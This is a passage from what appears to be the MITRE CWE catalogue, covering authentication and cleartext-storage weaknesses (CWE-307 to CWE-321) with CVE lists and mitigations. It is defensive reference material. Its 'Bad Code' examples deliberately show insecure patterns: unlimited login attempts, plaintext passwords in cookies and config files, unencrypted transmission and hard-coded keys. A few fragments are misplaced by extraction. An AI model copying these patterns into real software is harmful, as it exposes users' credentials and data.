int authResult = authenticateUser(username, password);
```

However, the software makes no attempt to restrict excessive authentication attempts.

Example 3:

This code attempts to limit the number of login attempts by causing the process to sleep before completing the authentication.

PHP Example:

Bad Code

```
$username = $_POST['username'];
$password = $_POST['password'];
sleep(2000);
$isAuthenticated = authenticateUser($username, $password);
```

However, there is no limit on parallel connections, so this does not increase the amount of time an attacker needs to complete an attack.

Example 4:

In the following C/C++ example the validateUser method opens a socket connection, reads a username and password from the socket and attempts to authenticate the username and password.

C Example:

Bad Code

```
int validateUser(char *host, int port)
{
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    int isValidUser = 0;
    char username[USERNAME_SIZE];
    char password[PASSWORD_SIZE];
    while (isValidUser == 0) {
        if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
            if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
                isValidUser = AuthenticateUser(username, password);
            }
        }
    }
    return(SUCCESS);
}
```

The validateUser method will continuously check for a valid username and password without any restriction on the number of authentication attempts made. The method should limit the number of authentication attempts made to prevent brute force attacks as in the following example code.

C Example:

Good Code

```
int validateUser(char *host, int port)
{
    ...
    int count = 0;
    while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
        if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
            if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
                isValidUser = AuthenticateUser(username, password);
            }
        }
        count++;
    }
}
```

```

count++;
}
if (isValidUser) {
    return(SUCCESS);
}
else {
    return(FAIL);
}
}
}

```

Observed Examples

Reference	Description
CVE-1999-1152	Product does not disconnect or timeout after multiple failed logins.
CVE-1999-1324	User accounts not disabled when they exceed a threshold; possibly a resultant problem.
CVE-2001-0395	Product does not disconnect or timeout after multiple failed logins.
CVE-2001-1291	Product does not disconnect or timeout after multiple failed logins.
CVE-2001-1339	Product does not disconnect or timeout after multiple failed logins.
CVE-2002-0628	Product does not disconnect or timeout after multiple failed logins.

Potential Mitigations

Architecture and Design

Common protection mechanisms include:

- Disconnecting the user after a small number of failed attempts
- Implementing a timeout
- Locking out a targeted account
- Requiring a computational task on the user's part.

Architecture and Design

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [R.307.1]

CWE-308: Use of Single-factor Authentication

Weakness ID: 308 (Weakness Base)

Status: Draft

Description

Summary

The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.

Extended Description

While the use of multiple authentication schemes is simply piling on more complexity on top of authentication, it is inestimably valuable to have such measures of redundancy. The use of weak, reused, and common passwords is rampant on the internet. Without the added protection of multiple authentication schemes, a single mistake can result in the compromise of an account. For this reason, if multiple schemes are possible and also easy to use, they should be implemented and required.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Access Control

Bypass protection mechanism

If the secret in a single-factor authentication scheme gets compromised, full authentication is possible.

Likelihood of Exploit

High

Demonstrative Examples

In both of these examples, a user is logged in if their given password matches a stored password:

C Example:

Bad Code

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

Java Example:

Bad Code

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code fails to incorporate more than one method of authentication. If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also exhibits CWE-328 (Reversible One-Way Hash) and CWE-759 (Use of a One-Way Hash without a Salt).

Potential Mitigations

Architecture and Design

Use multiple independent authentication schemes, which ensures that -- if one of the methods is compromised -- the system itself is still likely safe from compromise.

CLASP	Using single-factor authentication

CWE-309: Use of Password System for Primary Authentication

Weakness ID: 309 (Weakness Base)

Status: Draft

Description

Summary

The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Access Control

Bypass protection mechanism

Gain privileges / assume identity

A password authentication mechanism error will almost always result in attackers being authorized as valid users.

Likelihood of Exploit

High

Demonstrative Examples

In both of these examples, a user is logged in if their given password matches a stored password:

C Example:

Bad Code

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

Java Example:

Bad Code

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code fails to incorporate more than one method of authentication. If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also exhibits CWE-328 (Reversible One-Way Hash) and CWE-759 (Use of a One-Way Hash without a Salt).

Potential Mitigations

Architecture and Design

In order to protect password systems from compromise, the following should be noted:

Passwords should be stored safely to prevent insider attack and to ensure that -- if a system is compromised -- the passwords are not retrievable. Due to password reuse, this information may be useful in the compromise of other systems these users work with. In order to protect these passwords, they should be stored encrypted, in a non-reversible state, such that the original text password cannot be extracted from the stored value.

Password aging should be strictly enforced to ensure that passwords do not remain unchanged for long periods of time. The longer a password remains in use, the higher the probability that it has been compromised. For this reason, passwords should require refreshing periodically, and users should be informed of the risk of passwords which remain in use for too long.

Password strength should be enforced intelligently. Rather than restrict passwords to specific content, or specific length, users should be encouraged to use upper and lower case letters, numbers, and symbols in their passwords. The system should also ensure that no passwords are derived from dictionary words.

Architecture and Design

Use a zero-knowledge password protocol, such as SRP.

Architecture and Design

Ensure that passwords are stored safely and are not reversible.

Architecture and Design

Implement password aging functionality that requires passwords be changed after a certain point.

Architecture and Design

Use a mechanism for determining the strength of a password and notify the user of weak password use.

Architecture and Design

Inform the user of why password protections are in place, how they work to protect data integrity, and why it is important to heed their warnings.

Background Details

Password systems are the simplest and most ubiquitous authentication mechanisms. However, they are subject to such well known attacks, and such frequent compromise that their use in the most simple implementation is not practical.

Maintenance Notes

This category is incomplete and needs refinement, as there is good documentation of cryptographic flaws and related attacks.

Relationships between CWE-310, CWE-326, and CWE-327 and all their children need to be reviewed and reorganized.

CWE-311: Missing Encryption of Sensitive Data

Weakness ID: 311 (Weakness Base)

Status: Draft

Description

Summary

The software does not encrypt sensitive or critical information before storage or transmission.

Extended Description

The lack of proper data encryption passes up the guarantees of confidentiality, integrity, and accountability that properly implemented encryption conveys.

Time of Introduction

- Architecture and Design
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Confidentiality**Read application data**

If the application does not use a secure channel, such as SSL, to exchange sensitive information, it is possible for an attacker with access to the network traffic to sniff packets from the connection and uncover the data. This attack is not technically difficult, but does require physical access to some portion of the network over which the sensitive data travels. This access is usually somewhere near where the user is connected to the network (such as a colleague on the company network) but can be anywhere along the path from the user to the end server.

Confidentiality**Integrity****Modify application data**

Omitting the use of encryption in any program which transfers data over a network of any kind should be considered on par with delivering the data sent to each user on the local networks of both the sender and receiver. Worse, this omission allows for the injection of data into a stream of communication between two parties -- with no means for the victims to separate valid data from invalid. In this day of widespread network attacks and password collection sniffers, it is an unnecessary risk to omit encryption from the design of any system which might benefit from it.

Likelihood of Exploit

High

Detection Methods**Manual Analysis****High**

The characterization of sensitive data often requires domain-specific understanding, so manual methods are useful. However, manual efforts might not achieve desired code coverage within limited time constraints. Black box methods may produce artifacts (e.g. stored data or unencrypted network transfer) that require manual evaluation.

Automated Analysis

Automated measurement of the entropy of an input/output source may indicate the use or lack of encryption, but human analysis is still required to distinguish intentionally-unencrypted data (e.g. metadata) from sensitive data.

Manual Static Analysis - Binary / Bytecode**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Dynamic Analysis with manual results interpretation**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Network Sniffer

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Automated Monitored Execution

Man-in-the-middle attack tool

Manual Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Context-configured Source Code Weakness Analyzer

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
- Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

- Attack Modeling

Demonstrative Examples**Example 1:**

This code writes a user's login information to a cookie so the user does not have to login again later.

PHP Example:*Bad Code*

```
function persistLogin($username, $password){
    $data = array("username" => $username, "password"=> $password);
    setcookie ("userdata", $data);
}
```

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

Example 2:

The following code attempts to establish a connection, read in a password, then store it to a buffer.

C Example:*Bad Code*

```
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {
    write(dfd,password_buffer,n);
}
...
```

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

Example 3:

The following code attempts to establish a connection to a site to communicate sensitive information.

Java Example:*Bad Code*

```

try {
    URL u = new URL("http://www.secret.example.org/");
    HttpURLConnection hu = (HttpURLConnection) u.openConnection();
    hu.setRequestMethod("PUT");
    hu.connect();
    OutputStream os = hu.getOutputStream();
    hu.disconnect();
}
catch (IOException e) {
    //...
}

```

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

Observed Examples

Reference	Description
CVE-2002-1949	Passwords transmitted in cleartext.
CVE-2004-1852	Product transmits Blowfish encryption key in cleartext.
CVE-2005-3140	Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
CVE-2007-4786	Product sends passwords in cleartext to a log server.
CVE-2007-4961	Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
CVE-2007-5626	Backup routine sends password in cleartext in email.
CVE-2007-5778	login credentials stored unencrypted in a registry key
CVE-2008-0174	SCADA product uses HTTP Basic Authentication, which is not encrypted
CVE-2008-0374	Printer sends configuration information, including administrative password, in cleartext.
CVE-2008-1567	storage of a secret key in cleartext in a temporary file
CVE-2008-3289	Product sends password hash in cleartext in violation of intended policy.
CVE-2008-4122	Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
CVE-2008-4390	Remote management feature sends sensitive information including passwords in cleartext.
CVE-2008-6157	storage of unencrypted passwords in a database
CVE-2008-6828	product stores a password in cleartext in memory
CVE-2009-0152	chat program disables SSL in some circumstances even when the user says to use SSL.
CVE-2009-0964	storage of unencrypted passwords in a database
CVE-2009-1466	password stored in cleartext in a file with insecure permissions
CVE-2009-1603	Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption
CVE-2009-2272	password and username stored in cleartext in a cookie

Potential Mitigations**Requirements**

Clearly specify which data or resources are valuable enough that they should be protected by encryption. Require that any transmission or storage of this data/resource should use well-vetted encryption algorithms.

Architecture and Design

Ensure that encryption is properly integrated into the system design, including but not necessarily limited to:

- Encryption that is needed to store or transmit private data of the users of the system

- Encryption that is needed to protect the system itself from unauthorized disclosure or tampering

Identify the separate needs and contexts for encryption:

- One-way (i.e., only the user or recipient needs to have the key). This can be achieved using public key cryptography, or other techniques in which the encrypting party (i.e., the software) does not need to have access to a private key.

- Two-way (i.e., the encryption can be automatically performed on behalf of a user, but the key must be available so that the plaintext can be automatically recoverable by that user). This requires storage of the private key in a format that is recoverable only by the user (or perhaps by the operating system) in a way that cannot be recovered by others.

Using threat modeling or other techniques, assume that data can be compromised through a separate vulnerability or weakness, and determine where encryption will be most effective.

Ensure that data that should be private is not being inadvertently exposed using weaknesses such as insecure permissions (CWE-732). [R.311.1]

Architecture and Design**Libraries or Frameworks**

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.

For example, US government systems require FIPS 140-2 certification.

Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.

Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [R.311.5]

Architecture and Design**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Implementation**Architecture and Design**

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Implementation**Identify and Reduce Attack Surface****Defense in Depth**

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

This makes it easier to spot places in the code where data is being used that is unencrypted.

ParentOf	V	614	<i>Sensitive Cookie in HTTPS Session Without 'Secure' Attribute</i>	699 1000	946

Relationship Notes

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

CWE-312: Cleartext Storage of Sensitive Information

Weakness ID: 312 (Weakness Base)

Status: Draft

Description

Summary

The application stores sensitive information in cleartext within a resource that might be accessible to another control sphere.

Extended Description

Because the information is stored in cleartext, attackers could potentially read it. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Architectural Paradigms

- Mobile Application

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Confidentiality**Read application data**

An attacker with access to the system could read sensitive information stored in cleartext.

Demonstrative Examples**Example 1:**

The following code excerpt stores a plaintext user account ID in a browser cookie.

Java Example:*Bad Code*

```
response.addCookie( new Cookie("userAccountID", acctID);
```

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

Example 2:

This code writes a user's login information to a cookie so the user does not have to login again later.

PHP Example:*Bad Code*

```
function persistLogin($username, $password){
    $data = array("username" => $username, "password"=> $password);
    setcookie ("userdata", $data);
}
```

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

Example 3:

The following code attempts to establish a connection, read in a password, then store it to a buffer.

C Example:*Bad Code*

```
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {
    write(dfd,password_buffer,n);
    ...
}
```

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

Example 4:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

Java Example:*Bad Code*

```
# Java Web App ResourceBundle properties file
...
webapp.Idap.username=secretUsername
webapp.Idap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example:

Bad Code

```

...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...

```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Observed Examples

Reference	Description
CVE-2001-1481	Plaintext credentials in world-readable file.
CVE-2001-1536	Username/passwords in cleartext in cookies.
CVE-2001-1537	Default configuration has cleartext usernames/passwords in cookie.
CVE-2002-1696	Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.
CVE-2002-1800	Admin password in plaintext in a cookie.
CVE-2004-2397	Plaintext storage of private key and passphrase in log file when user imports the key.
CVE-2005-1828	Password in cleartext in config file.
CVE-2005-2160	Authentication information stored in cleartext in a cookie.
CVE-2005-2209	Password in cleartext in config file.
CVE-2007-5778	login credentials stored unencrypted in a registry key
CVE-2008-0174	SCADA product uses HTTP Basic Authentication, which is not encrypted
CVE-2008-1567	storage of a secret key in cleartext in a temporary file
CVE-2008-6157	storage of unencrypted passwords in a database
CVE-2008-6828	product stores a password in cleartext in memory
CVE-2009-0152	chat program disables SSL in some circumstances even when the user says to use SSL.
CVE-2009-0964	storage of unencrypted passwords in a database
CVE-2009-1466	password stored in cleartext in a file with insecure permissions
CVE-2009-1603	Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption
CVE-2009-2272	password and username stored in cleartext in a cookie

CWE-313: Cleartext Storage in a File or on Disk

Weakness ID: 313 (*Weakness Variant*)

Status: Draft

Description

Summary

The application stores sensitive information in cleartext in a file, or on disk.

Extended Description

The sensitive information could be read by attackers with access to the file, or with physical or administrator access to the raw disk. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Time of Introduction

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Confidentiality

Read application data

Demonstrative Examples

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext. This Java example shows a properties file with a cleartext username / password pair.

Java Example:

Bad Code

```
# Java Web App ResourceBundle properties file
```

```
...
webapp.Idap.username=secretUsername
webapp.Idap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

ASP.NET Example:

Bad Code

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13

Observed Examples

Reference	Description
CVE-2001-1481	Cleartext credentials in world-readable file.
CVE-2002-1696	Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.
CVE-2004-2397	Cleartext storage of private key and passphrase in log file when user imports the key.
CVE-2005-1828	Password in cleartext in config file.
CVE-2005-2209	Password in cleartext in config file.

Relationships

Nature	Type	ID	Name		Page

PLOVER		Plaintext Storage in File or on Disk
Software Fault Patterns	SFP23	Exposed Data

CWE-314: Cleartext Storage in the Registry

Weakness ID: 314 (*Weakness Variant*) **Status:** Draft

Description

Summary

The application stores sensitive information in cleartext in the registry.

Extended Description

Attackers can read the information by accessing the registry key. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Time of Introduction

CWE-315: Cleartext Storage of Sensitive Information in a Cookie

Weakness ID: 315 (Weakness Variant)

Status: Draft

Description**Summary**

The application stores sensitive information in cleartext in a cookie.

Extended Description

Attackers can use widely-available tools to view the cookie and read the sensitive information.

Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Time of Introduction

- Architecture and Design

Applicable Platforms**Languages**

- Language-Independent

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Confidentiality**Read application data****Demonstrative Examples**

The following code excerpt stores a plaintext user account ID in a browser cookie.

Java Example:*Bad Code*

```
response.addCookie( new Cookie("userAccountID", acctID);
```

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

Observed Examples

Reference	Description
CVE-2001-1536	Usernames/passwords in cleartext in cookies.
CVE-2001-1537	Default configuration has cleartext usernames/passwords in cookie.
CVE-2002-1800	Admin password in cleartext in a cookie.
CVE-2005-2160	Authentication information stored in cleartext in a cookie.

CWE-316: Cleartext Storage of Sensitive Information in Memory

Weakness ID: 316 (*Weakness Variant*)

Status: Draft

Description**Summary**

The application stores sensitive information in cleartext in memory.

Extended Description

The sensitive memory might be saved to disk, stored in a core dump, or remain uncleared if the application crashes, or if the programmer does not properly clear the memory before freeing it. It could be argued that such problems are usually only exploitable by those with administrator privileges. However, swapping could cause the memory to be written to disk and leave it accessible to physical attack afterwards. Core dump files might have insecure permissions or be stored in archive files that are accessible to untrusted people. Or, uncleared sensitive memory might be inadvertently exposed to attackers due to another weakness.

Terminology Notes

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Time of Introduction

CWE-317: Cleartext Storage of Sensitive Information in GUI

Weakness ID: 317 (Weakness Variant)

Status: Draft

Description**Summary**

The application stores sensitive information in cleartext within the GUI.

Extended Description

An attacker can often obtain data from a GUI, even if hidden, by using an API to directly access GUI objects such as windows and menus. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

CWE-318: Cleartext Storage of Sensitive Information in Executable

Weakness ID: 318 (*Weakness Variant*)**Status:** Draft

Description

Summary

The application stores sensitive information in cleartext in an executable.

Extended Description

Attackers can reverse engineer binary code to obtain secret data. This is especially easy when the cleartext is plain ASCII. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

CWE-319: Cleartext Transmission of Sensitive Information

Weakness ID: 319 (Weakness Base)

Status: Draft

Description

Summary

The software transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.

Extended Description

Many communication channels can be "sniffed" by attackers during data transmission. For example, network traffic can often be sniffed by any attacker who has access to a network interface. This significantly lowers the difficulty of exploitation by attackers.

Time of Introduction

- Architecture and Design
- Operation
- System Configuration

Applicable Platforms

Languages

- Language-Independent

Architectural Paradigms

- Mobile Application

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Integrity

Confidentiality

Read application data

Modify files or directories

Anyone can read the information by gaining access to the channel being used for communication.

Likelihood of Exploit

High

Detection Methods

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as `truss` (Solaris) and `strace` (Linux); system activity monitors such as `FileMon`, `RegMon`, `Process Monitor`, and other `Sysinternals` utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

Demonstrative Examples

The following code attempts to establish a connection to a site to communicate sensitive information.

Java Example:

Bad Code

```

try {
    URL u = new URL("http://www.secret.example.org/");
    HttpURLConnection hu = (HttpURLConnection) u.openConnection();
    hu.setRequestMethod("PUT");
    hu.connect();
    OutputStream os = hu.getOutputStream();
    hu.disconnect();
}
catch (IOException e) {
    //...
}

```

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

Observed Examples

Reference	Description
CVE-2002-1949	Passwords transmitted in cleartext.
CVE-2004-1852	Product transmits Blowfish encryption key in cleartext.
CVE-2005-3140	Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
CVE-2007-4786	Product sends passwords in cleartext to a log server.
CVE-2007-4961	Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
CVE-2007-5626	Backup routine sends password in cleartext in email.
CVE-2008-0374	Printer sends configuration information, including administrative password, in cleartext.
CVE-2008-3289	Product sends password hash in cleartext in violation of intended policy.
CVE-2008-4122	Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
CVE-2008-4390	Remote management feature sends sensitive information including passwords in cleartext.

Potential Mitigations

Architecture and Design

Encrypt the data with a reliable encryption scheme before transmitting.

Implementation

When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Operation

Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.

PLOVER	Key Management Errors

Maintenance Notes

This category should probably be split into multiple sub-categories.

CWE-321: Use of Hard-coded Cryptographic Key

Weakness ID: 321 (*Weakness Base*)

Status: Draft

Description**Summary**

The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.

Time of Introduction

- Architecture and Design

Applicable Platforms**Languages**

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences**Access Control****Bypass protection mechanism****Gain privileges / assume identity**

If hard-coded cryptographic keys are used, it is almost certain that malicious users will gain access through the account in question.

Likelihood of Exploit

High

Demonstrative Examples

The following code examples attempt to verify a password using a hard-coded cryptographic key.

C Example:

Bad Code

```
int VerifyAdmin(char *password) {
    if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Java Example:

Bad Code

```
public boolean VerifyAdmin(String password) {
    if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
```

```

System.out.println("Entering Diagnostic Mode...");
return true;
}
System.out.println("Incorrect Password!");
return false;

```

C# Example:*Bad Code*

```

int VerifyAdmin(String password) {
    if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
        Console.WriteLine("Entering Diagnostic Mode...");
        return(1);
    }
    Console.WriteLine("Incorrect Password!");
    return(0);
}

```

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

Potential Mitigations**Architecture and Design**

Prevention schemes mirror that of hard-coded password storage.

Other Notes

The main difference between the use of hard-coded passwords and the use of hard-coded cryptographic keys is the false sense of security that the former conveys. Many people believe that simply hashing a hard-coded password before storage will protect the information from malicious users. However, many hashes are reversible (or at least vulnerable to brute force attacks) -- and further, many authentication protocols simply request the hash itself, making it no better than a password.

